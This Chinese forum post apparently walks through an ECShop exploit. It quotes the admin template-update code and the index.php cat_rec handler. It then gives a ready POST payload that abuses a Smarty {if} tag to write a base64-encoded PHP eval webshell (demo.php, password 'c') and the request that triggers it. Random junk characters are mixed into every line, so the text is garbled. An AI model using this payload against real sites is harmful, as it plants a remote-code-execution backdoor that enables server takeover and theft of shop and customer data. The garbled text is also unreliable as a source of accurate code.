首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
/ e3 \! p, a3 @1 B* ^( W8 Y
! f4 E( n% J$ r, j而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了6 t: P; T+ K5 x, N( [, k( b, u
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码+ N: Q/ P" ]4 M# q8 G
admin/template.php
1 m- k: E! r' X% M& d; b- @8 _/ Y8 }3 q% G9 }# Q% m( u6 h
1 if ($_REQUEST['act'] == 'update_library')
R+ D9 [ n" F' m. o' E8 E4 _' H! |
2
. O* e+ p8 l3 V7 I7 v
3 s& _ f- V$ S3 {
) ^( p) ]; r+ o6 w8 M) H) ]4 u' T* t; c$ b6 `' Y3 E
4 check_authz_json('library_manage'); ; M9 s8 G! H' _
+ k. ~( {2 T" m" C: T. c5 9 n- M. w' l& M+ L/ y
2 X; n1 @) M0 f; G, x4 m: u5 r
6 $html = stripslashes(json_str_iconv($_POST['html']));
C8 H L- n* q6 O$ n# Y5 I% t' F" N
7 : S/ {6 a/ |, V0 s
- M3 c; S# H" ]' i7 }8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
5 T7 |7 T: C e/ L: R
@( r# N; L w4 x2 N9
\( P2 V# o. ?: r' ~
- a: _$ R- Q l& {* m3 L10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 + V, s. Z8 r) f' x
3 s' f) f5 v8 b' s
11 6 v% i* F1 }, {2 C8 W( s
9 X Z1 n' k3 P H2 {0 }0 t
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 2 q! B& ~) @ X( B
9 P# z" h2 I7 |3 z. r. p9 M& _7 ^13 & K2 l: B( V9 V) L1 T9 d: e8 d4 `
/ Z6 Z5 \! S0 _
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 3 \1 t! J: d1 Z
1 x9 c& @ o$ t* y% Y15 { ) x$ ?% y# [. m5 ]* p4 h
6 ~6 B* w" b* h3 D8 W1 F
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ' E3 C7 N2 r1 e. a) x& c. }
/ J- n0 M$ z( B; V17 make_json_result('', $_LANG['update_lib_success']); 4 P' u# k1 C: K' b9 o4 B
- U( F8 \9 p& _. F- ~3 P: @* K$ T18 } 1 H" g: W& k+ e# j' q
/ O4 j. A( |$ A( g5 {
19 else 9 t6 ~4 \* p- q
+ Y0 r1 \2 \7 Z1 J% {- D7 [20 {
. [% I, i1 q& `8 N6 D/ D
' }% Q2 U4 a9 x21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 5 N, q9 p+ ?3 M
. l7 T9 O5 p- w7 r4 M% i; M22 } 0 H! B/ W: K$ i* b" o+ @
* ?. h3 S5 X- G2 [
23 }
- M( C2 D. o9 g3 c, T
9 i' i6 x; b' V7 f' j; j那么找个比较方便调用了模板的文件
6 Z1 z" R6 \3 g6 J* {) Kindex.php
6 M" S* d( V4 {9 T! n, a5 T
; d; {, _4 ]( h* C6 j0 x1 i1 if ($act == 'cat_rec')
; Y' k. ?2 a. b8 ?, G( V- G- h# `- o& b& w8 c( A% N
2 u* {* v. N" z
/ b3 k: E# X3 f/ l8 w5 E9 `3 {
2 I# P0 Q* a* {/ X* h) y( Z) Z3 I2 Y6 Y+ H
4
6 N6 v! m) L" [: ?9 F
3 |/ V& M( b9 i5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
" x- m% o" R' h, j- T) @* r, W
5 e# c5 k8 q0 v" u2 F* J6 e6 3 O2 M4 c# N8 n8 }; G0 ?
6 t0 P* m; y' w# T7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
7 T8 u" v9 C! v* S! i+ n% v* i6 j j# O+ n. |" E ~ \/ B
8
9 ~/ \" K5 r6 R2 e3 b* b' t
# y0 O2 @5 D- m( Y: J9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; " _1 b% d+ H" N7 x) _
5 ^* G g B$ o" b10 . g1 y W4 T0 j7 Y+ e2 `
& I8 S% p1 ]( K- h; h X& V& c& R11 include_once('includes/cls_json.php');
. N6 s' o1 A: e6 w/ |, Y, S# T9 l* }, A4 `: V1 x O+ E
12 0 C* W7 \, }% E& f$ X; R4 `
+ C5 _8 \! j* ?7 E) ]13 $json = new JSON; 2 z# k4 }3 e1 y" n; e) h' a4 t& k
" N( k9 S) k, q: [5 }
14
* i# C. W+ F: r5 f2 S; p1 N" l. [. ~, z8 }8 F# D2 S
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
; f! U' T5 \" I5 o9 W$ k
7 b& \4 Y1 d$ n8 x q16 3 q0 z _: m: [ m" Q: @
( s# J7 L5 t$ p: E: `- b17 $children = get_children($cat_id); ! d% Q N& V b/ G9 k- C$ K
: M) e% U! N$ R, q
18
|+ n" s) _2 m9 U6 x( i/ L6 f9 h# y. @; I! n1 P: Q% [
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
! I' h# x" h3 _1 L6 @$ ]; O! x o8 f9 ~) [, |8 z
20 ( H- g6 R7 |& i
* E* N% E9 T0 O1 m( s% [* t5 H21 $smarty->assign('cat_rec_sign', 1);
# Q7 H2 P% e; i5 W( A$ l3 x& b; q+ [* V" z: O. D
22
* D/ T! n9 ?1 ]
$ z/ S6 a3 p9 i# B23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
3 a% `+ U) {/ a
; w5 ^5 c* S5 _! g) _4 W" b24 ( w8 |/ ~* T; W# z. O% |; O. B$ z4 c
$ k( Q: x2 q) t3 k. z' c9 w
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
2 I& m" e1 v% G+ _+ f. S$ _9 ^; g m
26 . e6 W0 |8 M$ B# ?* H$ y
; P0 W/ C9 K/ d, c R1 b( s4 M27 echo $rec_array[$rec_type];
5 G4 d( v( K) m0 T& I6 O
" Z* U; Q8 m+ d( x6 s8 x28 * y/ ^. Q! U; L/ C8 U* l8 J0 Z5 M
- { Z* m q9 t+ x+ \29 die($json->encode($result)); - a" N/ e) e6 G# `8 t3 \) L
* B* i- E% c% o0 G) n$ Y3 i$ j/ i5 |30 3 M; O) H6 A8 u
7 Y- z7 R/ G H* \- C
31 }
/ O V- ?/ `* H& K! s* E# m- U; i& x# V _$ W* j/ E
那么就有利用方法了
, e% y: A" w) }7 F4 ]post包到http://localhost/ec/admin/template.php?act=update_library; w# s8 ~8 Y7 K2 M& U
Post内容:
- c" m" w' Q& B, ^
! X. }' H1 e" R; c) K4 @ g! A/ _/ J; K- b5 b4 k* J6 p
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
0 O9 }# _) @/ G5 |& W0 J, L4 R8 ]
然后访问http://localhost/ec/index.php?act=cat_rec" F; W. Z' U8 F+ `9 m
- ^# w5 I& }; k: u; K; ^, }6 fshel地址:http://localhost/ec/demo.php
8 p# _% y8 z" P5 m密码c
; ~9 ~) m' U+ U, D+ ]. G; d" o) d0 i9 e5 o+ E0 M' j
|